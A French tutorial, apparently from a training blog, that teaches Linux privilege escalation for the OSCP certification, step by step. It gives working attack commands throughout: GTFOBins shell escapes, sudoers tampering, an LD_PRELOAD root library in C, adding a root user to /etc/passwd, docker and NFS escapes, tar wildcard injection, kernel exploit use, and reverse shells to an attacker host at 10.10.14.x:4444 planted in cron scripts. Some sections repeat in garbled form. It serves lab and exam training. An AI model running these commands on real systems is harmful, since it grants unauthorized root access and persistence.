ITSkillsCenter
Cybersécurité

Escalade de privilèges Linux pour l’OSCP : SUID, sudo, cron, capabilities — tutoriel pas-à-pas

11 min de lecture

Avertissement légal : toutes les techniques présentées dans ce tutoriel sont destinées à un usage légal uniquement — machines CTF, labs OffSec (PEN-200), environnements de test pour lesquels vous disposez d’une autorisation écrite. Toute utilisation sur un système tiers sans autorisation est illégale.

Vous venez d’obtenir un shell initial sur une machine Linux. La prochaine étape dans la méthodologie OSCP est d’escalader vos privilèges jusqu’à root. Ce tutoriel couvre 15 vecteurs d’attaque concrets, ordonnés du plus fréquent au plus avancé, avec les commandes exactes utilisées en exam.

1. Reconnaissance initiale post-shell

Avant de lancer un outil automatisé, collectez manuellement les informations de base. Ces commandes s’exécutent en 30 secondes et révèlent souvent le vecteur directement.

Étape 1 — Identité et contexte

Avant toute exploitation, on veut savoir qui on est sur la machine, à quels groupes on appartient, quel noyau tourne, et quelle distribution. Ces quatre informations conditionnent toutes les techniques suivantes : appartenance au groupe docker ouvre une voie, kernel ancien permet un exploit DirtyPipe, distribution permet de chercher des CVEs précis.

# Qui suis-je ?
id
whoami
groups

# Hostname et OS
hostname
uname -a
cat /etc/os-release
cat /proc/version

Notez l’UID/GID (utilisateur sans privilèges typiquement www-data avec UID 33), les groupes secondaires (un groupe docker, lxd, disk ou sudo ici est un signal très fort), la version exacte du kernel (uname -a), et le nom de la distribution dans /etc/os-release. Si le kernel est antérieur à 5.16.11, la piste DirtyPipe est ouverte.

Étape 2 — Utilisateurs et sessions actives

L’étape suivante consiste à voir qui d’autre utilise la machine et où chercher des fichiers intéressants. Un autre compte avec un shell est une cible potentielle d’escalade horizontale, et les répertoires home contiennent souvent des credentials, des historiques bash, des clés SSH oubliées.

# Tous les utilisateurs avec shell
cat /etc/passwd | grep -v nologin | grep -v false

# Sessions actives
w
who
last | head -20

# Fichiers dans les home
ls -la /home/
ls -la /root/ 2>/dev/null

La sortie utile : la liste des comptes humains (filtrés des comptes de service via nologin et false), les sessions actives qui pourraient révéler une connexion administrateur en cours, et les répertoires home explorables. ls /root/ retourne « Permission denied » dans la majorité des cas — si la commande affiche le contenu, vous êtes déjà root.

Étape 3 — Réseau et processus

Cette étape révèle deux choses : les services qui tournent en local (utiles pour pivoter ou pour identifier des bases de données accessibles uniquement depuis localhost), et les processus actifs sous root qui pourraient héberger une vulnérabilité exploitable.

# Ports en écoute locale (non visibles depuis l'extérieur)
ss -tulpn
netstat -tulpn 2>/dev/null

# Processus en cours — chercher les services root
ps aux --sort=-%mem | head -30
ps aux | grep root | grep -v grep

# Interfaces réseau
ip a
ip route

Repérez les ports écoutés en 127.0.0.1 uniquement (souvent des bases de données mal configurées : MySQL en 3306, Redis en 6379, MongoDB en 27017, Memcached en 11211). Les processus root non-standards méritent une analyse — un binaire custom dans /opt/ ou /home/ est presque toujours un vecteur d’exploitation. Plusieurs interfaces réseau (en plus de lo et eth0) signalent une machine pivot dual-homed.

Étape 4 — Variables d’environnement et PATH

Le PATH et les variables d’environnement révèlent souvent des credentials oubliés (clés API, mots de passe en clair pour les scripts) et des chemins non-standards qui peuvent être hijackables si un binaire SUID les utilise.

env
echo $PATH
cat /etc/environment
cat /etc/profile
cat ~/.bashrc ~/.bash_profile 2>/dev/null

Cherchez les variables qui contiennent les mots PASS, TOKEN, KEY, SECRET — fréquentes sur des CTF où un script d’automatisation a été lancé en exposant ses credentials. Un PATH qui inclut un répertoire writable comme /tmp ou /home/user/bin avant les chemins système ouvre la voie au PATH hijacking traité plus loin.

2. Automatisation : LinPEAS et LinEnum

LinPEAS est l’outil de référence pour l’énumération automatique des vecteurs d’escalade. Il colore les résultats en rouge/jaune selon la criticité.

Étape 1 — Transfert sur la cible

Pour transfert sur la cible, voici les commandes :

# Sur votre machine Kali — démarrez un serveur HTTP
python3 -m http.server 8080

# Sur la cible (depuis le shell initial)
curl http://10.10.14.x:8080/linpeas.sh -o /tmp/linpeas.sh
# ou avec wget
wget http://10.10.14.x:8080/linpeas.sh -O /tmp/linpeas.sh

chmod +x /tmp/linpeas.sh

Étape 2 — Exécution et capture

Pour exécution et capture, voici les commandes :

# Exécution complète avec couleurs — redirigez vers un fichier pour relecture
/tmp/linpeas.sh -a 2>&1 | tee /tmp/linpeas_out.txt

# Option sans couleurs (si terminal ne supporte pas ANSI)
/tmp/linpeas.sh -a --no-color 2>&1 | tee /tmp/linpeas_out.txt

Étape 3 — Priorités de lecture

Dans la sortie LinPEAS, lisez dans cet ordre :

  1. Rouge vif (99% PE vector) — exploitez en priorité
  2. Rouge — exploitez en second
  3. Jaune — vérifiez manuellement

Sections critiques à scanner : Sudo version & sudoers, SUID/SGID, Interesting files, Cron jobs, Writable files, Capabilities.

LinEnum (alternative)

Pour priorités de lecture
Dans la sortie LinPEAS, lisez dans cet ordre :

Rouge vif (99% PE vector) — exploitez en priorité
Rouge — exploitez en second
Jaune — vérifiez manuellement

Sections critiques à scanner : Sudo version & sudoers, SUID/SGID, Interesting files, Cron jobs, Writable files, Capabilities.
LinEnum (alternative), voici les commandes :

curl http://10.10.14.x:8080/LinEnum.sh -o /tmp/linenum.sh
chmod +x /tmp/linenum.sh
/tmp/linenum.sh -t -k password 2>&1 | tee /tmp/linenum_out.txt

3. SUID / SGID binaires

Un binaire avec le bit SUID s’exécute avec les droits du propriétaire (souvent root). Si ce binaire peut spawner un shell ou écrire des fichiers, c’est game over.

Étape 1 — Trouver les binaires SUID

Pour trouver les binaires SUID, voici les commandes :

# SUID (exécution avec droits du propriétaire)
find / -perm -4000 -type f 2>/dev/null | sort

# SGID (exécution avec droits du groupe)
find / -perm -2000 -type f 2>/dev/null | sort

# Les deux en un
find / -perm /6000 -type f 2>/dev/null | sort

Étape 2 — Identifier les binaires exploitables avec GTFOBins

Comparez votre liste avec GTFOBins. Exemples classiques :

Binaire Commande d’exploitation SUID
bash bash -p → shell root (si SUID et bash < 5.x)
find find . -exec /bin/bash -p \; -quit
vim vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'
nmap (legacy) nmap --interactive → !sh (nmap < 5.21)
python python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
cp Copier /etc/shadow dans un dossier lisible, puis cracker
env env /bin/bash -p

Étape 3 — Exemple concret avec find SUID

Pour identifier les binaires exploitables avec GTFOBins
Comparez votre liste avec GTFOBins. Exemples classiques :

Binaire
Commande d’exploitation SUID

bash
bash -p → shell root (si SUID et bash < 5.x) find find . -exec /bin/bash -p \; -quit vim vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")' nmap (legacy) nmap --interactive → !sh (nmap < 5.21) python python -c 'import os; os.execl("/bin/bash", "bash", "-p")' cp Copier /etc/shadow dans un dossier lisible, puis cracker env env /bin/bash -p Étape 3 — Exemple concret avec find SUID, voici les commandes :

# Vérifier si find a le SUID
ls -la $(which find)
# -rwsr-xr-x 1 root root ... /usr/bin/find

# Escalade
find . -exec /bin/bash -p \; -quit
# Résultat : bash-5.0# id
# uid=1000(www-data) gid=1000(www-data) euid=0(root) groups=...

Étape 4 — Binaires customs SUID (non-standard)

Pour binaires customs SUID (non-standard), voici les commandes :

# Isoler les SUID hors des chemins système standard
find / -perm -4000 -type f 2>/dev/null | grep -v -E "^/(usr|bin|sbin|lib)" | sort

# Analyser le binaire custom avec strings
strings /opt/custom_suid_binary
file /opt/custom_suid_binary

# Lancer avec ltrace/strace pour voir les appels système
ltrace /opt/custom_suid_binary 2>&1 | head -40
strace /opt/custom_suid_binary 2>&1 | grep -E "(open|exec|read)" | head -20

4. Mauvaise configuration sudo

Le fichier /etc/sudoers définit ce que les utilisateurs peuvent exécuter avec sudo. Les mauvaises configurations sont extrêmement fréquentes dans le PEN-200.

Étape 1 — Lister les droits sudo de l’utilisateur courant

On commence par lister les droits sudo de l’utilisateur courant avec les commandes suivantes.

sudo -l

Sortie typique :

User www-data may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/vim
    (ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
    (root) NOPASSWD: /usr/bin/find

Étape 2 — GTFOBins sudo — exemples clés

Pour gTFOBins sudo — exemples clés, voici les commandes :

# vim avec sudo → shell root
sudo vim -c ':!/bin/bash'

# python3 → shell root
sudo python3 -c 'import os; os.system("/bin/bash")'

# less → shell root
sudo less /etc/profile
# puis depuis less : !bash

# awk → shell root
sudo awk 'BEGIN {system("/bin/bash")}'

# tee — écrire dans un fichier root
echo "www-data ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
# Ensuite : sudo bash

# wget — écraser un fichier system
sudo wget http://10.10.14.x:8080/malicious -O /etc/sudoers

Étape 3 — Script Python invoqué avec sudo (chemin partiel)

Pour script Python invoqué avec sudo (chemin partiel), voici les commandes :

# Cas : (root) NOPASSWD: /usr/bin/python3 /opt/script.py
# Si script.py importe un module et que vous pouvez écrire dans son répertoire
cat /opt/script.py
# import subprocess; subprocess.run(["id"])

# Créez un faux module dans le répertoire courant
cd /opt
echo 'import os; os.system("/bin/bash")' > subprocess.py
sudo /usr/bin/python3 /opt/script.py
# → shell root via module hijacking

Étape 4 — Sudo version vulnérable (Baron Samedit)

Pour sudo version vulnérable (Baron Samedit), voici les commandes :

# Vérifier la version sudo
sudo --version
# sudo version 1.8.x (< 1.8.31p2) = CVE-2021-3156 (Baron Samedit)
# sudo 1.9.x (< 1.9.5p2) = aussi vulnérable

# Vérification rapide : si la commande retourne "sudoedit: /etc/...:" sans erreur de parsing
sudoedit -s '\' `python3 -c 'print("A"*65536)'`
# Crash ou segfault = vulnérable

# Exploit public (lab uniquement)
# https://github.com/blasty/CVE-2021-3156

5. Cron jobs mal sécurisés

Les tâches planifiées qui exécutent des scripts writables sont l'une des techniques les plus fiables dans le PEN-200. Le script tourne en root → vous écrivez dedans → root shell.

Étape 1 — Lister tous les cron jobs

Pour lister tous les cron jobs, voici les commandes :

# Crontabs système
cat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# Crontab de l'utilisateur courant
crontab -l

# Crontabs de tous les utilisateurs (si accès)
for user in $(cut -f1 -d: /etc/passwd); do
  echo "--- $user ---"
  crontab -u $user -l 2>/dev/null
done

# Processus cron en cours (repère les jobs au moment où ils tournent)
pspy64  # si disponible/transféré — surveille les processus sans droits root

Étape 2 — Transférer et utiliser pspy

Pour transférer et utiliser pspy, voici les commandes :

# Sur Kali
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server 8080

# Sur la cible
wget http://10.10.14.x:8080/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64 -pf -i 1000
# Observer pendant 2-3 minutes — les crons root apparaissent avec UID=0

Étape 3 — Écrire dans le script de cron

Pour écrire dans le script de cron, voici les commandes :

# Cas : /etc/crontab contient
# * * * * *   root   /opt/cleanup.sh

# Vérifier les droits d'écriture sur le script
ls -la /opt/cleanup.sh
# -rwxrwxr-x 1 root root ... = WRITABLE par tous !

# Injecter un reverse shell
echo 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' >> /opt/cleanup.sh

# Sur Kali — écoutez
nc -lvnp 4444

# Attendre le prochain cycle cron (max 60 secondes)

Étape 4 — Cron écrit dans un dossier writable

Pour cron écrit dans un dossier writable, voici les commandes :

# Cas : le cron appelle /tmp/maintenance.sh
# ou appelle un chemin que vous contrôlez

# Créer le script malveillant
cat > /tmp/maintenance.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
EOF
chmod +x /tmp/maintenance.sh

6. PATH hijacking

Si un script SUID ou exécuté par root appelle une commande sans chemin absolu (ex: ls au lieu de /bin/ls), vous pouvez injecter un faux binaire en tête du PATH.

Étape 1 — Identifier l'appel vulnérable

Pour identifier l'appel vulnérable, voici les commandes :

# Analyser le binaire SUID avec strings
strings /opt/vuln_suid
# Output contient : "service apache2 start"  ← appel sans chemin absolu

# Confirmer avec strace
strace /opt/vuln_suid 2>&1 | grep exec

Étape 2 — Créer le faux binaire

Pour créer le faux binaire, voici les commandes :

# Créer /tmp/service qui spawne un shell root
cat > /tmp/service << 'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/service

# Injecter /tmp en tête du PATH
export PATH=/tmp:$PATH

# Vérifier
echo $PATH
# /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Exécuter le binaire SUID
/opt/vuln_suid
# → bash-5.0# id
# uid=1000(user) gid=1000(user) euid=0(root)

7. LD_PRELOAD et variables d'environnement

Si un utilisateur peut exécuter n'importe quelle commande avec sudo et que env_keep+=LD_PRELOAD est dans le sudoers, c'est une escalade directe.

Étape 1 — Vérifier env_keep dans sudo

Pour vérifier env_keep dans sudo, voici les commandes :

sudo -l
# Chercher : env_keep += "LD_PRELOAD"
# ou : env_keep += "LD_LIBRARY_PATH"

Étape 2 — Créer la librairie malveillante

Pour créer la librairie malveillante, voici les commandes :

# Créer shell.c
cat > /tmp/shell.c << 'EOF'
#include 
#include 
#include 

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF

# Compiler en librairie partagée
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# Exécuter avec sudo en forçant LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find / 2>/dev/null
# → shell root immédiat

Exploitation LD_LIBRARY_PATH

Concrètement, pour identifier les librairies chargées par le programme sudo :

# Identifier les librairies chargées par le programme sudo
ldd /usr/sbin/apache2
# libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1

# Créer une fausse libcrypt.so dans un dossier writable
cat > /tmp/libcrypt.c << 'EOF'
#include 
#include 
void crypt() {
    system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
}
EOF
gcc -fPIC -shared -o /tmp/libcrypt.so.1 /tmp/libcrypt.c

# Exécuter avec sudo
sudo LD_LIBRARY_PATH=/tmp apache2 2>/dev/null
/tmp/rootbash -p
# → euid=0

8. Permissions faibles sur fichiers critiques

Étape 1 — /etc/passwd writable

Pour /etc/passwd writable, voici les commandes :

# Vérifier
ls -la /etc/passwd
# -rw-rw-r-- 1 root passwd ... = writable par groupe passwd !

# Générer un hash de mot de passe
openssl passwd -1 -salt hack password123
# $1$hack$WH9bFqoHiHMVxDmCN6g3W1

# Ajouter un utilisateur root
echo 'hacker:$1$hack$WH9bFqoHiHMVxDmCN6g3W1:0:0:root:/root:/bin/bash' >> /etc/passwd

# Se connecter
su hacker
# Password: password123
# root@target:/# id
# uid=0(root)

Étape 2 — /etc/shadow readable

Pour /etc/shadow readable, voici les commandes :

# Vérifier
ls -la /etc/shadow
# -rw-r--r-- = readable par tous (mauvaise config)

# Copier les hashes
cat /etc/shadow | grep -v '!!' | grep -v '*'

# Cracker avec hashcat (sur Kali)
hashcat -m 1800 shadow.txt /usr/share/wordlists/rockyou.txt --force
# -m 1800 = sha512crypt   (type $6$)
# -m 7400 = sha256crypt   (type $5$)
# -m 500  = md5crypt      (type $1$)
# -m 3200 = bcrypt        (type $2y$ ou $2a$)

Étape 3 — Fichiers de configuration contenant des mots de passe

Pour fichiers de configuration contenant des mots de passe, voici les commandes :

# Chercher des mots de passe dans les fichiers config
grep -r "password" /etc/ 2>/dev/null | grep -v "^Binary"
grep -r "passwd" /var/www/ 2>/dev/null | grep -v ".git"
grep -r "DB_PASS\|database_password\|MYSQL_PASS" /var/www/ 2>/dev/null

# Historiques bash de tous les utilisateurs
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null

# Fichiers avec les mots "pass", "secret", "key" dans leur nom
find / -name "*pass*" -o -name "*secret*" -o -name "*cred*" 2>/dev/null | grep -v proc

9. Linux Capabilities

Les capabilities permettent de donner à un binaire une permission root spécifique sans le passer SUID complet. cap_setuid suffit pour une escalade.

Étape 1 — Lister les capabilities

Pour lister les capabilities, voici les commandes :

# Lister tous les binaires avec capabilities
getcap -r / 2>/dev/null

Sorties à surveiller :

/usr/bin/python3.8 = cap_setuid+eip
/usr/bin/perl = cap_setuid+eip
/usr/bin/ruby = cap_setuid+eip
/usr/bin/node = cap_setuid+eip
/usr/sbin/tcpdump = cap_net_raw+eip

Étape 2 — Exploitation cap_setuid

Pour exploitation cap_setuid, voici les commandes :

# Python avec cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# → shell root

# Perl avec cap_setuid
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Ruby avec cap_setuid
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# Node.js avec cap_setuid
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'

cap_net_raw (tcpdump) — sniff de mots de passe

Concrètement, pour sniffer du trafic réseau interne :

# Sniffer du trafic réseau interne
tcpdump -i lo -A -n 2>/dev/null | grep -i "pass\|user\|login\|auth"

# Capturer dans un fichier pour analyse
tcpdump -i any -w /tmp/capture.pcap -n 2>/dev/null &
# Après quelques minutes, analyser sur Kali avec Wireshark ou tshark

10. NFS no_root_squash

Si le serveur NFS exporte un partage avec l'option no_root_squash, un attaquant root sur sa machine peut créer un SUID binaire sur le partage et l'exécuter sur la cible.

Étape 1 — Identifier les exports NFS depuis la cible

Pour identifier les exports NFS depuis la cible, voici les commandes :

cat /etc/exports
# /shared  *(rw,sync,no_root_squash)  ← VULNÉRABLE

# Depuis l'extérieur (Kali)
showmount -e 10.10.10.x
# Export list for 10.10.10.x:
# /shared *

Étape 2 — Monter le partage sur Kali et créer le SUID

Pour monter le partage sur Kali et créer le SUID, voici les commandes :

# Sur Kali (en root)
mkdir /mnt/nfs_target
mount -t nfs 10.10.10.x:/shared /mnt/nfs_target

# Créer un binaire SUID bash
cp /bin/bash /mnt/nfs_target/rootbash
chmod +s /mnt/nfs_target/rootbash
# Le fichier est créé avec UID=0 (root Kali) et le bit SUID

# Vérifier
ls -la /mnt/nfs_target/rootbash
# -rwsr-xr-x 1 root root ... rootbash

Étape 3 — Exécuter depuis la cible

Pour exécuter depuis la cible, voici les commandes :

# Sur la cible (dans le shell initial)
ls -la /shared/rootbash
# -rwsr-xr-x 1 root root ...

/shared/rootbash -p
# bash-5.0# id
# uid=1000(user) gid=1000(user) euid=0(root)

11. Escape Docker (groupe docker)

Si votre utilisateur appartient au groupe docker, vous pouvez monter le système de fichiers hôte dans un conteneur et lire/écrire n'importe quel fichier root.

Étape 1 — Vérifier l'appartenance au groupe docker

Pour vérifier l'appartenance au groupe docker, voici les commandes :

id
# uid=1000(user) gid=1000(user) groups=1000(user),999(docker)  ← VULNÉRABLE

# Lister les images disponibles
docker images

Étape 2 — Monter le système hôte et obtenir root

Pour monter le système hôte et obtenir root, voici les commandes :

# Méthode 1 — Shell root dans un conteneur avec / monté
docker run -it -v /:/mnt/host alpine chroot /mnt/host /bin/bash
# → root@container:/# id
# uid=0(root) gid=0(root)

# Méthode 2 — Copier bash SUID sur l'hôte depuis le conteneur
docker run -v /:/mnt/host alpine cp /bin/sh /mnt/host/tmp/sh
docker run -v /:/mnt/host alpine chmod +s /mnt/host/tmp/sh
/tmp/sh -p
# → euid=0

# Méthode 3 — Ajouter une entrée sudoers depuis le conteneur
docker run -v /:/mnt/host alpine sh -c \
  'echo "user ALL=(ALL) NOPASSWD:ALL" >> /mnt/host/etc/sudoers'
sudo bash

12. Services systemd / unit files writables

Si vous pouvez modifier un fichier .service exécuté par root, vous injectez vos commandes dans le démarrage du service.

Étape 1 — Trouver les unit files writables

Pour trouver les unit files writables, voici les commandes :

# Chercher les .service writables
find /etc/systemd /lib/systemd /usr/lib/systemd -name "*.service" 2>/dev/null \
  | while read f; do [ -w "$f" ] && echo "WRITABLE: $f"; done

# Alternative avec ls
ls -la /etc/systemd/system/
ls -la /lib/systemd/system/ | grep -v "^l"

Étape 2 — Modifier un service writable

Pour modifier un service writable, voici les commandes :

# Supposons que /etc/systemd/system/vuln.service est writable
cat /etc/systemd/system/vuln.service
# [Service]
# ExecStart=/usr/bin/clean_logs.sh
# User=root

# Modifier l'ExecStart pour injecter un SUID bash
cat > /etc/systemd/system/vuln.service << 'EOF'
[Unit]
Description=Vulnerable service

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'

[Install]
WantedBy=multi-user.target
EOF

# Recharger et redémarrer le service (ou attendre un reboot)
systemctl daemon-reload
systemctl restart vuln.service

/tmp/rootbash -p
# → euid=0

13. Wildcard injection dans cron

Certains programmes comme tar et chown acceptent des arguments via le wildcard *. En créant des fichiers avec des noms qui ressemblent à des options, vous injectez des arguments.

Contexte typique

Concrètement, pour tar l'interprètera comme un paramètre :

# /etc/crontab contient :
# * * * * *  root  cd /var/backups && tar czf backup.tgz *

# tar avec * = équivaut à lister tous les fichiers du dossier
# Si vous créez un fichier nommé --checkpoint-action=exec=sh${IFS}revshell.sh
# tar l'interprètera comme un paramètre

Étape 1 — Créer les fichiers pièges dans /var/backups

Pour créer les fichiers pièges dans /var/backups, voici les commandes :

cd /var/backups

# Créer le reverse shell
cat > revshell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
EOF
chmod +x revshell.sh

# Créer les "fichiers" qui seront interprétés comme arguments tar
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh revshell.sh'

# Sur Kali — écouter
nc -lvnp 4444

# Au prochain cycle cron, tar exécutera :
# tar czf backup.tgz --checkpoint=1 --checkpoint-action=exec=sh revshell.sh [autres fichiers]
# → reverse shell root

Wildcard injection avec chown

Concrètement, pour chown copiera les permissions du fichier de référence :

# Si le cron contient : chown root:root /var/data/*
# Créer un fichier "--reference=malicious_file"
# chown copiera les permissions du fichier de référence

# Créer un fichier de référence appartenant à votre user
touch /tmp/ref_file
chown user:user /tmp/ref_file

# Créer le fichier piège
cd /var/data
touch -- '--reference=/tmp/ref_file'
# Le prochain chown * changera la propriété de tous les fichiers vers user:user

14. Kernel exploits (DirtyPipe, DirtyCow)

Les exploits kernel sont puissants mais risqués (peuvent crasher la machine). À utiliser en dernier recours. Vérifiez toujours la version kernel avant de lancer.

Étape 1 — Identifier la version kernel

Pour identifier la version kernel, voici les commandes :

uname -r
# 5.8.0-50-generic

cat /proc/version
# Linux version 5.8.0-50-generic (buildd@lgw01-amd64-039) ...

# Vérifier l'architecture
uname -m
# x86_64

DirtyPipe — CVE-2022-0847 (kernel 5.8 à 5.16.11)

Concrètement, pour vérifier si la version kernel est vulnérable :

# Vérifier si la version kernel est vulnérable
# Vulnérable : 5.8 ≤ kernel < 5.16.11, 5.15.25, 5.10.102

uname -r  # 5.8.0-50 → VULNÉRABLE

# Compiler et exécuter l'exploit (sur la cible)
wget http://10.10.14.x:8080/dirtypipe.c -O /tmp/dirtypipe.c
gcc /tmp/dirtypipe.c -o /tmp/dirtypipe
/tmp/dirtypipe /etc/passwd
# → Écrase le hash root dans /etc/passwd avec un hash connu
# → su root (avec le mot de passe correspondant)

DirtyCow — CVE-2016-5195 (kernel < 4.8.3)

Concrètement, pour kernels anciens (CTF avec vieilles machines) :

# Kernels anciens (CTF avec vieilles machines)
uname -r  # 3.x ou 4.x ancien → potentiellement vulnérable

# Exploit cowroot (copie bash avec SUID)
wget http://10.10.14.x:8080/cowroot.c -O /tmp/cowroot.c
gcc /tmp/cowroot.c -o /tmp/cowroot -pthread
/tmp/cowroot
# → root shell

Note exam : les machines OSCP récentes (depuis 2022) tournent généralement sur des kernels patchés contre DirtyCow. Priorisez les vecteurs de configuration avant les exploits kernel.

Suggérer des exploits kernel via LES

Concrètement, pour linux Exploit Suggester :

# Linux Exploit Suggester
wget http://10.10.14.x:8080/les.sh -O /tmp/les.sh
chmod +x /tmp/les.sh
/tmp/les.sh
# Affiche les CVEs applicables à la version kernel courante avec probabilités

15. TMUX / Screen session hijacking

Si un utilisateur root a laissé une session tmux ou screen détachée accessible, vous pouvez vous y attacher et hériter de ses droits.

TMUX — session root détachée

Concrètement, pour lister toutes les sessions tmux sur le système :

# Lister toutes les sessions tmux sur le système
tmux list-sessions 2>/dev/null
# ou
ls -la /tmp/tmux-*/

# Cas : socket tmux appartenant à root mais lisible
ls -la /tmp/tmux-0/default
# srwxrwxrwx 1 root root → WORLD WRITABLE

# S'attacher à la session root
tmux -S /tmp/tmux-0/default attach
# → shell root dans le terminal root

Screen — session détachée

Concrètement, pour lister les sessions screen :

# Lister les sessions screen
screen -ls
# ou
ls -la /var/run/screen/

# S'attacher à une session root détachée
screen -r root/  # nom de session
# ou
screen -x  # attacher à toutes les sessions

Créer une session tmux root accessible

Concrètement, pour attendre l'exécution du cron :

# Si vous avez accès à un cron root — forcer la création d'une socket world-writable
echo 'tmux -S /tmp/root_session new-session -d' >> /opt/cron_script.sh
# Attendre l'exécution du cron
tmux -S /tmp/root_session attach

Checklist exam — 20 points en 45 minutes

Dans l'exam OSCP, une fois le shell initial obtenu, suivez cette séquence rapide pour maximiser les chances de root :

# Vérification Commande rapide Temps estimé
1 Identité et groupes id && groups 10 sec
2 Sudo sans mot de passe sudo -l 30 sec
3 SUID binaires find / -perm -4000 -type f 2>/dev/null 30 sec
4 Capabilities getcap -r / 2>/dev/null 20 sec
5 LinPEAS (automatisation) Transférer + exécuter 3-5 min
6 Cron jobs writables cat /etc/crontab; cat /etc/cron.d/* 2 min
7 pspy (processus root) Transférer + observer 3 min 3-5 min
8 Mots de passe dans config grep -r "password" /etc /var/www 2>/dev/null 1 min
9 /etc/passwd writable ls -la /etc/passwd 10 sec
10 NFS no_root_squash cat /etc/exports 10 sec
11 Groupe docker/lxd id | grep -E "docker|lxd" 10 sec
12 Version kernel uname -r → LES 2 min

Capture du proof.txt après root

Concrètement, pour dès root obtenu — screenshot IMMÉDIAT :

# Dès root obtenu — screenshot IMMÉDIAT
id && hostname && cat /root/proof.txt
# uid=0(root) gid=0(root) groups=0(root)
# target-machine
# OS{abc123def456...}

# Screenshot avec ipconfig/ifconfig visible
ip a | grep -A2 "eth0\|ens"
cat /root/proof.txt

Ressources et références

Prochaines étapes

Une fois root sur une machine Linux, l'étape suivante dépend du type de machine dans votre progression :

#OSCP
Besoin d'un site web ?

Confiez-nous la Création de Votre Site Web

Site vitrine, e-commerce ou application web — nous transformons votre vision en réalité digitale. Accompagnement personnalisé de A à Z.

À partir de 250.000 FCFA
Parlons de Votre Projet
Publicité

Articles Similaires